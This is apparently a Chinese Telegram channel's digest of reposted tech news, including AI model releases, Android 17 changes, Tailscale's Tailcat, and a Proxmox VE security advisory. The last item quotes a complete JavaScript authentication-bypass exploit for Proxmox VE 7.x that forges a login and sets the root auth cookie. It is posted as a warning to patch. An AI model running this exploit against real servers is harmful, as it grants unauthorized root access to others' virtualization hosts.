今天abc看了啥🤔

现在我也不知道这频道发了啥了，各位慢慢吃瓜，将就着看

联系我请去 @abc1763613206

友链儿
@cyberElaina
@rvalue_daily
@billchenla

今天abc看了啥🤔

  1. 今天abc看了啥🤔

    DeepSeek V4.1 Flash开始内测，改个模型ID就能直接用DeepSeek 开始内测 V4.1 Flash 中间版本

    Forwarded from 动察Beating AI News
    DeepSeek V4.1 Flash开始内测，改个模型ID就能直接用

    DeepSeek 开始内测 V4.1 Flash 中间版本。官方微信群通知称，新模型换了新的模型架构，原生支持多模态，能力更强、速度更快、成本更低。当前计费与 V4 Flash 相同，单账号最多 20 并发。

    用户已经可以直接调用。base_url 不用改，只需把原来的模型 ID 换成 deepseek-v4.1-flash-expires-on-0910。

    动察 Beating 频道 · 动察 Beating 交流群

  5. 今天abc看了啥🤔

    GPT-Astra 的 computer use 能力真的恐怖

    Forwarded from 荔枝木
    GPT-Astra 的 computer use 能力真的恐怖。

    它能几乎实时地弹奏 midi 钢琴

    并且它自主通关了明日方舟 JT8-3
    https://www.bilibili.com/video/av117220562704471
    哔哩哔哩
    GPT6大人打明日方舟JT8-3_游戏热门视频
    简介：用的是GPT-6 Astra High，事先告知了模拟器的操；更多实用攻略教学，爆笑沙雕集锦，你所不知道的游戏知识，热门游戏视频7*24小时持续更新,尽在哔哩哔哩bilibili 视频播放量 13984、弹幕量 57、点赞数 321、投硬币枚数 42、收藏人数 114、转发人数 501, 视频作者 好几根阿鱼, 作者简介 ，相关视频：GPT-6 Astra近完美重建绘画过程，网上那么多人吹GPT6，我自己实际试了一下，震惊瘫坐！GPT6一次性生成《我的世界》，塔露拉逆天数值已出！平A一刀大范围6千…

  8. 今天abc看了啥🤔

    Tips: GPT-6 不计算 「缓存写入」费用，并且 1M 上下文不加价GPT-6 Astra usage in Codex does not incur additional long-context multipliers above 272K input tokens. Codex does not charge for cache writes.

    Forwarded from HAT's Public Channel | 🫪
    Tips: GPT-6 不计算 「缓存写入」费用，并且 1M 上下文不加价

    GPT-6 Astra usage in Codex does not incur additional long-context multipliers above 272K input tokens. Codex does not charge for cache writes.


    https://help.openai.com/en/articles/20001415-chatgpt-rate-card-enterprise-token-based-pricing
    OpenAI Help Center
    ChatGPT Rate Card (Enterprise token-based pricing) | OpenAI Help Center
    Learn how token rates work for ChatGPT models and features across Chat, ChatGPT Work and Codex

  9. 今天abc看了啥🤔

    智谱干的 😡9 月 3 日至 9 月 20 日，GLM Coding Plan 推出夜间畅蹬活动，每晚 23 点至次日 9 点， 调用套餐中的 GLM-5.3-Flash，在 ZCode 中免费使用，在其他套餐支持的 Agent 中使用额度翻倍， 进入指定时间段自动生效，覆盖所有付费套餐用户

    Forwarded from 无印🐑品 #BeHonest
    智谱干的 😡

    9 月 3 日至 9 月 20 日，GLM Coding Plan 推出夜间畅蹬活动，每晚 23 点至次日 9 点， 调用套餐中的 GLM-5.3-Flash，在 ZCode 中免费使用，在其他套餐支持的 Agent 中使用额度翻倍， 进入指定时间段自动生效，覆盖所有付费套餐用户。

    https://docs.bigmodel.cn/cn/coding-plan/notice/event-glm-5.3-flash
    智谱AI开放文档
    夜间畅用活动 - 智谱AI开放文档
    夜间畅用活动 - 智谱AI开放文档

  11. 今天abc看了啥🤔

    #life #CTFWMCTF 再会 - 满秋碎碎念InstantView · Source

    Forwarded from 🐱MiaoTony's Box | 困困困 zzz (MiaoTony 🐱)
    #life #CTF
    WMCTF 再会 - 满秋碎碎念
    InstantView · Source
    Telegraph
    WMCTF 再会 - 满秋碎碎念
    WMCTF 再会 AI发展速度快到我都不知道自己是谁了 经过深思熟虑之后，我们决定放弃WMCTF 2026，或者说在 古法CTF 没有想到新的花样前，我们不会再举办传统CTF比赛了. 0x00 缘起 CTF 是我安全的引路石 说起来，这已经是 WMCTF 的第七个年头了。从队伍诞生的那一刻起，我们就希望在比赛中为大家带来一些真正有意义的题目：无论是漏洞利用的思路，还是题目的发散空间，都不应设限。 在把握一场比赛的难度时，我总会先把“偏难怪”的方向放到一边，把“有趣/有意义”作为最终的出题标准。毕竟从一开…

    lifeCTF

  12. 今天abc看了啥🤔

    看来Google终于忍无可忍，Android17开始，禁止第三方应用读取开发者选项和USB调试状态，值始终是0

    Forwarded from 南宫雪珊
    看来Google终于忍无可忍，Android17开始，禁止第三方应用读取开发者选项和USB调试状态，值始终是0。
    https://github.com/aosp-mirror/platform_frameworks_base/commit/5d466bf8025ed8a68d9d49b47289f4f5cefbc139
    GitHub
    Add redactedValue for ADB_ENABLED and DEVELOPMENT_SETTINGS_ENABLED · aosp-mirror/platform_frameworks_base@5d466bf
    We update ADB_ENABLED and DEVELOPEMENT_SETTINGS_ENABLED to have a
    redactedValue of 0, since this information is not important
    for the third-party apps.

    Bug: 440232200
    Test: atest android.appseurit...

  14. 今天abc看了啥🤔

    分享央视新闻的微博：#深夜门口站满了大象#【#云南一村庄夜里来了50头大象#】近日，在云南西双版纳磨憨镇尚勇村，50头野生亚洲象深夜进村觅食休憩

    Forwarded from 漠伦
    分享央视新闻的微博：#深夜门口站满了大象#【#云南一村庄夜里来了50头大象#】近日，在云南西双版纳磨憨镇尚勇村，50头野生亚洲象深夜进村觅食休憩。不少本地村民表示，近20年来从未见过规模如此庞大的野象群。当地立刻启动应急预警，借助无人机全程追踪象群动态。本次象群性情温顺，未冲撞民居、滋扰村民。8月2... https://weibo.com/2656274875/Rg2RW1KZl (来自Share微博客户端)
    Weibo
    #深夜门口站满了大象##云南一村庄夜里来... 来自央视新闻 - 微博
    #深夜门口站满了大象#【#云南一村庄夜里来了50头大象#】近日，在云南西双版纳磨憨镇尚勇村，50头野生亚洲象深夜进村觅食休憩。不少本地村民表示，近20年来从未见过规模如此庞大的野象群。当地立刻启动应急预警，...

  15. 今天abc看了啥🤔

    Tailscale开源Tailcat：不登录不配IP，两台机器直接开隧道Tailscale 开源了 Tailcat

    Forwarded from 动察Beating AI News
    Tailscale开源Tailcat：不登录不配IP，两台机器直接开隧道

    Tailscale 开源了 Tailcat。两台机器不用注册账号，也不用加入同一个 Tailnet，拿到一串地址就能直接连起来。它继续使用 Tailscale 的 WireGuard 加密、NAT 穿透和 DERP 中继，但不需要 Tailscale 的账号和控制面。

    一台机器运行 Tailcat，就会生成一串连接地址。把地址发给另一台机器，就能传文件、转发端口或者 SSH。连接会先通过 DERP 找到对方，再尝试直接建立点对点 UDP 连接；打洞失败，流量才继续走 DERP 中继。整个过程都在用户空间完成，不改系统路由和 DNS。

    Tailscale 首席工程师 Brad Fitzpatrick 早在 2023 年就做出了 Tailcat 原型，后来基本搁置。最近 AI Agent 开始大量连接沙箱、远程 VM 和测试机器，他又把这个项目捡了回来。他用 Tailcat 让 Agent 临时连接树莓派、EC2 和 Windows 主机，不用先给 Agent 配账号和网络。

    Tailcat 也不是完整 Tailscale 的替代品。它没有用户身份、权限策略和设备管理，连接地址本身要像密码一样保管。Tailscale 托管的 Tailcat DERP 中继会记录元数据，而且限速、没有在线率 SLA；需要更稳定或更私密，可以自己部署 DERP。

    信源

    动察 Beating 频道 · 动察 Beating 交流群

  16. 今天abc看了啥🤔

    此漏洞已分配编号 PSA-2026-00043-1确认受影响版本: >= 7.0-7 & <8.0.4 (截止今日均已 EOL), 仍然建议更新到 PVE 9*如果你在 PVE WebUI 中配置了用户的 TFA，就不受此漏洞影响

    Forwarded from HAT's Public Channel | 🫪
    HAT's Public Channel | 🫪
    Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响” 无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！ Exp (.js) 正文: // PVE 7.4 auth-bypass @NebuSec 2026 // First, make sure to try logging in as root with this exact password: root@pam…
    此漏洞已分配编号 PSA-2026-00043-1

    确认受影响版本: >= 7.0-7 & <8.0.4 (截止今日均已 EOL), 仍然建议更新到 PVE 9

    *如果你在 PVE WebUI 中配置了用户的 TFA，就不受此漏洞影响

    https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/page-4#post-867929
    Proxmox Support Forum
    Proxmox Virtual Environment - Security Advisories
    Subject: PSA-2026-00037-1: SCTPhantom Local Privilege Escalation issue

    Advisory date: 2026-08-10

    Packages: proxmox-kernel-*

    Details:

    A use-after-free issue in the Linux kernels SCTP code...

  17. 今天abc看了啥🤔

    Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！Exp (.js) 正文:// PVE 7.4 auth-bypass @NebuSec 2026

    Forwarded from HAT's Public Channel | 🫪
    Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”

    无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！

    Exp (.js) 正文:

    // PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();


    观后感：不是，你就这么水灵灵的拿到 login cookie 了？

    https://fixupx.com/nebusecurity/status/2094719919539793989
    🧵 Thread • FixupX
    NebuSec (@nebusecurity)
    Proxmox VE 7.x authentication bypass (pre-auth RCE)